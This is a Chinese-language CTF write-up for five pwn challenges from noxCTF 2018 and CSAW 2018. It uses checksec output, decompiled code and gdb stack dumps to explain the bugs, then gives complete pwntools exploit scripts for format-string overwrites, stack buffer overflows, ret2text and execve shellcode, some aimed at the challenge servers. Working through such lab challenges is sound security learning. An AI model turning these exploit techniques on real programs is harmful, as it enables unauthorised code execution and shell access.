nox&CSAW部分pwn題解

  • 2019 年 10 月 8 日
  • 筆記

前言

暑假的時候遇到了一群一起學習安全的小夥伴,在他們的誘勸下,開始接觸國外的CTF比賽,作為最菜的pwn選手就試着先打兩場比賽試試水,結果發現國外比賽真有意思哎嘿。

NOXCTF

PWN—believeMe(378)

慣例先走一遍file+checksec檢查

➜  believeMe file believeMe  believeMe: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=03d2b6bcc0a0fdbab80a9852cab1d201437e7e30, not stripped  ➜  believeMe checksec believeMe  [*] '/home/Ep3ius/pwn/process/noxCTF2018/believeMe/believeMe'      Arch:     i386-32-little      RELRO:    Partial RELRO      Stack:    Canary found      NX:       NX enabled      PIE:      No PIE (0x8048000)  

再簡單的運行下程序看看程序是什麼樣的結構

➜  believeMe ./believeMe  Someone told me that pwning makes noxāle...  But......... how ????  aaaa  aaaa%  ➜  believeMe  

然後ida簡單分析下,我們可以很直接的看到在main函數里有一個格式化字符串漏洞

.text:080487CC ; 10:   printf(s);  .text:080487CC                 sub     esp, 0Ch  .text:080487CF                 lea     eax, [ebp+s]  .text:080487D2                 push    eax             ; format  .text:080487D3                 call    _printf  

這裡我本來以為只是簡單的利用格式化字符串去修改fflush_got所以我先測出來fmt的偏移量為9

➜  believeMe ./believeMe  Someone told me that pwning makes noxāle...  But......... how ????  aaaa%9$x  aaaa61616161%  ➜  believeMe  

然後構造payload=fmtstr_payload(9,{fflush_got:noxflag_addr})想直接getflag,然後實際上沒那麼簡單。調試過後發現fmtstr_payload不全,len(payload)輸出檢查後發現長度超了,稍微查了下pwntools文檔的fmtstr部分,發現它默認是以hhn也就是單位元組的形式去構造payload,如果以雙位元組或四位元組的形式要加上write_size參數,這樣payload的長度就不會超過40

payload = fmtstr_payload(9,{fflush_got:noxFlag_addr},write_size='short')  

然而當我們成功修改fflush_got為noxFlag的地址時會進入到一個死循環中,我們看一下noxFlag函數裏面不難發現問題

void __noreturn noxFlag()  {    char i; // [esp+Bh] [ebp-Dh]    FILE *stream; // [esp+Ch] [ebp-Ch]      stream = fopen("flag.txt", "r");    puts(s);    fflush(stdout);//這裡又調用了fflush函數,由於我們把fflush_got改成了noxFlag地址,這裡相當遞歸調用noxFlag,形成死循環    if ( stream )    {      for ( i = fgetc(stream); i != -1; i = fgetc(stream) )      {        putchar(i);        fflush(stdout);      }      fflush(stdout);      fclose(stream);    }    else    {      puts("Can't read file n");      fflush(stdout);    }    exit(0);  }  

當時就卡在這裡沒繞出去,經過隊友提醒能不能改return地址,才發現思路走偏了

我們gdb把斷點下在printf調試一下,先查看下堆棧

gdb-peda$ stack 30  0000| 0xffffcf1c --> 0x80487d8 (<main+129>:    add    esp,0x10)  0004| 0xffffcf20 --> 0xffffcf44 ("aaaa%21$x")  0008| 0xffffcf24 --> 0x804890c --> 0xa ('n')  0012| 0xffffcf28 --> 0xf7fb45a0 --> 0xfbad2288  0016| 0xffffcf2c --> 0x8f17  0020| 0xffffcf30 --> 0xffffffff  0024| 0xffffcf34 --> 0x2f ('/')  0028| 0xffffcf38 --> 0xf7e0edc8 --> 0x2b76 ('v+')  0032| 0xffffcf3c --> 0xffffd024 --> 0xffffd201 ("/home/Ep3ius/pwn/process/noxCTF2018/believeMe/believeMe")  0036| 0xffffcf40 --> 0x8000  0040| 0xffffcf44 ("aaaa%21$x")  0044| 0xffffcf48 ("%21$x")  0048| 0xffffcf4c --> 0xf7000078  0052| 0xffffcf50 --> 0x1  0056| 0xffffcf54 --> 0x0  0060| 0xffffcf58 --> 0xf7e30a50 (<__new_exitfn+16>:    add    ebx,0x1835b0)  0064| 0xffffcf5c --> 0x804885b (<__libc_csu_init+75>:    add    edi,0x1)  0068| 0xffffcf60 --> 0x1  0072| 0xffffcf64 --> 0xffffd024 --> 0xffffd201 ("/home/Ep3ius/pwn/process/noxCTF2018/believeMe/believeMe")  0076| 0xffffcf68 --> 0xffffd02c --> 0xffffd239 ("XDG_SEAT_PATH=/org/freedesktop/DisplayManager/Seat0")  0080| 0xffffcf6c --> 0xed1acd00  0084| 0xffffcf70 --> 0xf7fb43dc --> 0xf7fb51e0 --> 0x0  0088| 0xffffcf74 --> 0xffffcf90 --> 0x1  0092| 0xffffcf78 --> 0x0  0096| 0xffffcf7c --> 0xf7e1a637 (<__libc_start_main+247>:    add    esp,0x10)  --More--(25/30)  0100| 0xffffcf80 --> 0xf7fb4000 --> 0x1b1db0  0104| 0xffffcf84 --> 0xf7fb4000 --> 0x1b1db0  0108| 0xffffcf88 --> 0x0  0112| 0xffffcf8c --> 0xf7e1a637 (<__libc_start_main+247>:    add    esp,0x10)  0116| 0xffffcf90 --> 0x1  

我們可以看到在偏移112處return地址為0xFFFFCF8C,我們找到了一個與它偏移相近的並且能被泄露出來的地址,因為題目說了(No ASLR) ,所以return的地址是不會變化,我們可以先連上一次得到return地址構造payload來getflag

(這裡有一個挺坑的地方就是你在本地復現時終端運行得到地址和用pwntools得到的地址可能不一樣,這塊我還是不懂是什麼原理,希望知道的師傅能講一下學習一波。)

EXP

from pwn import*  context(os='linux',arch='i386')#,log_level='debug')  #n = process('./believeMe')  n = remote('18.223.228.52',13337)    shell_addr = 0x804867b  #ret_addr = 0xffffd030 - 0x4  ret_addr = 0xffffdd30 - 0x4  payload = fmtstr_payload(9,{ret_addr:shell_addr},write_size='short')  n.recvuntil('But......... how ????')  #n.sendline('%21$x')  n.sendline(payload)  n.interactive()  

FLAG

noxCTF{%N3ver_%7rust_%4h3_%F0rmat}  

PWN—The Name Calculator

慣例檢查一遍文件

➜  TheNameCalculator file TheNameCalculator  TheNameCalculator: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=8f717904e2313e4d6c3bc92730d2e475861123dd, not stripped  ➜  TheNameCalculator checksec TheNameCalculator  [*] '/home/Ep3ius/pwn/process/noxCTF2018/TheNameCalculator/TheNameCalculator'      Arch:     i386-32-little      RELRO:    Partial RELRO      Stack:    Canary found      NX:       NX enabled      PIE:      No PIE (0x8048000)  

簡單過一遍程序,只有一個輸入

➜  TheNameCalculator ./TheNameCalculator  What is your name?  Ep3ius  I've heard better  

開ida發現在main里有個套路check,v4在read_buf後不再修改,並且buf的輸入大小可以正好覆蓋v4的值,所以我們構造payload = 'a'*(0x2c-0x10)+p32(0x6A4B825)讓v4在if判斷時的值為0x6A4B825

puts("What is your name?");  fflush(stdout);  read(0, &buf, 0x20u);  fflush(stdin);  if ( v4 == 0x6A4B825 )  {      secretFunc();  }  

進入secretFunc函數後發現函數最末尾有個格式化字符串漏洞,並且可以通過改exit_got來實現跳轉,但中間有一段對輸入進行一個異或加密,加密方式很簡單就不再贅述,最終要達到的就是輸入'aaaa%12$x'能返回未加密時格式化字符串正確的參數就算成功了,剩下的就是普通的格式化字符串改got的標準套路了,不過輸入的fmt_payload的大小限制在了27而如果我們直接用fmtstr_payload生成的payload的長度是超過這個大小的,恰巧的是exit_got和superSecretFunc的前兩位相同都為0x0804,所以我們的payload就不需要再改exit_got的前兩位使我們payload的長度縮減至21

for ( i = buf; i < (int *)((char *)&buf[-1] + v3); i = (int *)((char *)i + 1) )      *i ^= 0x5F7B4153u;  

encrypt

def encrypt(enc):      buf = list(enc)      for i in range(0, len(buf) - 4):          payload = ''.join(buf[i:i+4])          key = u32(payload)^0x5F7B4153          buf[i:i+4] = list(p32(key))      return ''.join(buf)  

EXP

from pwn import*  context(os='linux',arch='i386')#,log_level='debug')  n = process('./TheNameCalculator')  #n = remote('chal.noxale.com', 5678)  elf = ELF('./TheNameCalculator')    exit_got = elf.got['exit']  superSecretFunc_addr = 0x08048596  name = 'a'*(0x2c-0x10)+p32(0x6A4B825)    def encrypt(enc):      buf = list(enc)      for i in range(0, len(buf) - 4):          payload = ''.join(buf[i:i+4])          key = u32(payload)^0x5F7B4153          buf[i:i+4] = list(p32(key))      return ''.join(buf)    def check_name():      n.recvuntil('name?n')      n.send(name)    def secretFunc(payload):      n.recvuntil('please')      n.send(encrypt(payload))    check_name()    payload = fmtstr_payload(12,{exit_got:superSecretFunc_addr},write_size='short')[0:21]  offset = 'aaaa%12$x'    secretFunc(payload)    n.interactive()  

FLAG

noxCTF{M1nd_7he_Input}  

CSAW CTF

PWN—bigboy

簡單的bof類型題目,先檢查文件

➜  bigboy file boi  boi: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=1537584f3b2381e1b575a67cba5fbb87878f9711, not stripped  ➜  bigboy checksec boi  [*] '/home/Ep3ius/pwn/process/CSAW2018/bigboy/boi'      Arch:     amd64-64-little      RELRO:    Partial RELRO      Stack:    Canary found      NX:       NX enabled      PIE:      No PIE (0x400000)  

idaF5看一下程序邏輯

int __cdecl main(int argc, const char **argv, const char **envp)  {    __int64 buf; // [rsp+10h] [rbp-30h]    __int64 v5; // [rsp+18h] [rbp-28h]    __int64 v6; // [rsp+20h] [rbp-20h]    int v7; // [rsp+28h] [rbp-18h]    unsigned __int64 v8; // [rsp+38h] [rbp-8h]      v8 = __readfsqword(0x28u);    buf = 0LL;    v5 = 0LL;    v6 = 0LL;    v7 = 0;    HIDWORD(v6) = 0xDEADBEEF;    puts("Are you a big boiiiii??");    read(0, &buf, 24uLL);    if ( HIDWORD(v6) == 0xCAF3BAEE )      run_cmd("/bin/bash");    else      run_cmd("/bin/date");    return 0;  }  

本以為構造payload = 'a'*(0x30-0x20)+p32(0xCAF3BAEE)就可以直接過if判斷getshell,然而事情並沒那麼簡單,gdb調試一下發現0xCAF3BAEE距離我們想要出現在的位置差了4

[-------------------------------------code-------------------------------------]     0x40069b <main+90>:    mov    edi,0x0     0x4006a0 <main+95>:    call   0x400500 <read@plt>     0x4006a5 <main+100>:    mov    eax,DWORD PTR [rbp-0x1c]  => 0x4006a8 <main+103>:    cmp    eax,0xcaf3baee     0x4006ad <main+108>:    jne    0x4006bb <main+122>     0x4006af <main+110>:    mov    edi,0x40077c     0x4006b4 <main+115>:    call   0x400626 <run_cmd>     0x4006b9 <main+120>:    jmp    0x4006c5 <main+132>  [------------------------------------stack-------------------------------------]  0000| 0x7ffd1313f360 --> 0x7ffd1313f488 --> 0x7ffd131402a8 --> 0x545100696f622f2e ('./boi')  0008| 0x7ffd1313f368 --> 0x10040072d  0016| 0x7ffd1313f370 ('a' <repeats 16 times>, "356272363312n276255", <incomplete sequence 336>)  0024| 0x7ffd1313f378 ("aaaaaaaa356272363312n276255", <incomplete sequence 336>)  0032| 0x7ffd1313f380 --> 0xdeadbe0acaf3baee  0040| 0x7ffd1313f388 --> 0x0  0048| 0x7ffd1313f390 --> 0x7ffd1313f480 --> 0x1  0056| 0x7ffd1313f398 --> 0xcc79c30a8da0b800  [------------------------------------------------------------------------------] blue  Legend: code, data, rodata, value  0x00000000004006a8 in main ()  gdb-peda$ p $eax  $1 = 0xdeadbe0a  

idaF5看不出什麼東西,直接切彙編

mov     dword ptr [rbp+v6+4], 0DEADBEEFh  mov     edi, offset s   ; "Are you a big boiiiii??"  call    _puts  lea     rax, [rbp+buf]  mov     edx, 18h        ; nbytes  mov     rsi, rax        ; buf  mov     edi, 0          ; fd  call    _read  mov     eax, dword ptr [rbp+v6+4]  cmp     eax, 0CAF3BAEEh  jnz     short loc_4006BB  

這裡我們可以很簡單就看出原因所在,eax所存的指針指向的是rbp-0x20+4而buf的首地址是指向rbp-0x30,而if語句比較的相當於在0x4006A8時的eax寄存器的值與0xCAF3BAEE是否相等,而兩者的差值並非是v6與buf在棧上的距離,而實際的距離應該是0x30-0x20+4

EXP

from pwn import*  context(os='linux',arch='amd64',log_level='debug')  #n = process('./boi')  n = remote('pwn.chal.csaw.io',9000)  payload = 'a'*(0x30-0x20+0x4)+p32(0xCAF3BAEE)  n.recvuntil('??')  #gdb.attach(n)  n.sendline(payload)    n.interactive()  

FLAG

flag{Y0u_Arrre_th3_Bi66Est_of_boiiiiis}  

PWN—get it

➜  get_it file get_it  get_it: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=87529a0af36e617a1cc6b9f53001fdb88a9262a2, not stripped  ➜  get_it checksec get_it  [*] '/home/Ep3ius/pwn/process/CSAW2018/get_it/get_it'      Arch:     amd64-64-little      RELRO:    Partial RELRO      Stack:    No canary found      NX:       NX enabled      PIE:      No PIE (0x400000)  

程序的邏輯很簡單,一個gets溢出,也給了system('/bin/sh')函數,雖然開了NX麻煩直接shellcode來getshell,但ret2text還是很簡單的就直接給exp了

EXP

from pwn import*  context(os='linux',arch='amd64',log_level='debug')  #n = process('./get_it')  n = remote('pwn.chal.csaw.io',9001)    give_shell = 0x04005b6  buf = 'a'*(32+8)  payload = buf + p64(give_shell)    n.recvuntil('it??')  n.sendline(payload)    n.interactive()  

FLAG

flag{y0u_deF_get_itls}  

PWN—shell->code

➜  shellpointcode file shellpointcode  shellpointcode: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=214cfc4f959e86fe8500f593e60ff2a33b3057ee, not stripped  ➜  shellpointcode checksec shellpointcode  [*] '/home/Ep3ius/pwn/process/CSAW2018/shellpointcode/shellpointcode'      Arch:     amd64-64-little      RELRO:    Full RELRO      Stack:    No canary found      NX:       NX disabled      PIE:      PIE enabled      RWX:      Has RWX segments  

很明顯的讓你寫shellcode的題目,簡單的審計和運行過一遍程序後發現他是一個有兩個節點鏈表結構,並且每個節點輸入最多為15byte,並且在node.next泄露出了棧上的地址,對於完整shellcode來說15位元組一般是不夠的

➜  shellpointcode ./shellpointcode  Linked lists are great!  They let you chain pieces of data together.    (15 bytes) Text for node 1:  aaaa  (15 bytes) Text for node 2:  bbbb  node1:  node.next: 0x7ffd53539c70  node.buffer: aaaa    What are your initials?  111  Thanks 111  

簡單分析調試後可以得到棧溢出後8byte後即為返回地址,我們在寫完ret地址後接着寫入『/bin/sh』可以達到在開始執行shellcode時rsp里存放的是指向/bin/sh的指針,那麼便可以利用mov rdi,rsp使『/bin/sh』作為execve的參數來調用execve('/bin/sh')來getshell

[----------------------------------registers-----------------------------------]  RAX: 0x19  RBX: 0x0  RCX: 0x7f1f405832c0 (<__write_nocancel+7>:    cmp    rax,0xfffffffffffff001)  RDX: 0x7f1f40852780 --> 0x0  RSI: 0x7ffea8fdff90 ("Thanks ", 'a' <repeats 11 times>, "h&376250376177nnnode.buffer: H211347j;X13662311705nn")  RDI: 0x1  RBP: 0x6161616161616161 ('aaaaaaaa')  RSP: 0x7ffea8fe2638 --> 0x7ffea8fe2668 --> 0xf631583b6ae78948  RIP: 0x55d7207d08ee (ret)  R8 : 0x7f1f40a5e700 (0x00007f1f40a5e700)  R9 : 0x19  R10: 0x11  R11: 0x246  R12: 0x55d7207d0720 (xor    ebp,ebp)  R13: 0x7ffea8fe2770 --> 0x1  R14: 0x0  R15: 0x0  EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow)  [-------------------------------------code-------------------------------------]     0x55d7207d08e7:    call   0x55d7207d06d0     0x55d7207d08ec:    nop     0x55d7207d08ed:    leave  => 0x55d7207d08ee:    ret     0x55d7207d08ef:    push   rbp     0x55d7207d08f0:    mov    rbp,rsp     0x55d7207d08f3:    sub    rsp,0x40     0x55d7207d08f7:    lea    rax,[rbp-0x40]  [------------------------------------stack-------------------------------------]  0000| 0x7ffea8fe2638 --> 0x7ffea8fe2668 --> 0xf631583b6ae78948  0008| 0x7ffea8fe2640 --> 0x68732f6e69622f ('/bin/sh')  0016| 0x7ffea8fe2648 --> 0xa ('n')  0024| 0x7ffea8fe2650 --> 0x0  0032| 0x7ffea8fe2658 --> 0x7f1f40851620 --> 0xfbad2887  0040| 0x7ffea8fe2660 --> 0x7ffea8fe2640 --> 0x68732f6e69622f ('/bin/sh')  0048| 0x7ffea8fe2668 --> 0xf631583b6ae78948  0056| 0x7ffea8fe2670 --> 0xa050f99  [------------------------------------------------------------------------------] blue  Legend: code, data, rodata, value  0x000055d7207d08ee in ?? ()  

execve的彙編可以參考http://spd.dropsec.xyz/2017/02/20/%E4%BB%8E%E6%B1%87%E7%BC%96%E8%A7%92%E5%BA%A6%E5%88%86%E6%9E%90execve%E5%87%BD%E6%95%B0/

EXP

from pwn import*  context(os='linux',arch='amd64',log_level='debug')  n = process('./shellpointcode')  #n = remote('pwn.chal.csaw.io',9005)  shellcode ="""      mov rdi, rsp      /* call execve('rsp',0,0) rsp->'/bin/sh' */      push 0x3b         /* sys_execve */      pop rax      xor esi,esi      syscall  """  #print len(asm(shellcode))  #raw_input()  n.sendline(asm(shellcode))  sleep(0.1)  n.sendline('')  n.recvuntil("node.next: ")  stack = int(n.recvuntil('n'),16)  #gdb.attach(n)  node_2 = stack + 0x28  n.sendline('a'*11 + p64(node_2) + '/bin/sh')  n.interactive()  

FLAG

flag{NONONODE_YOU_WRECKED_BRO}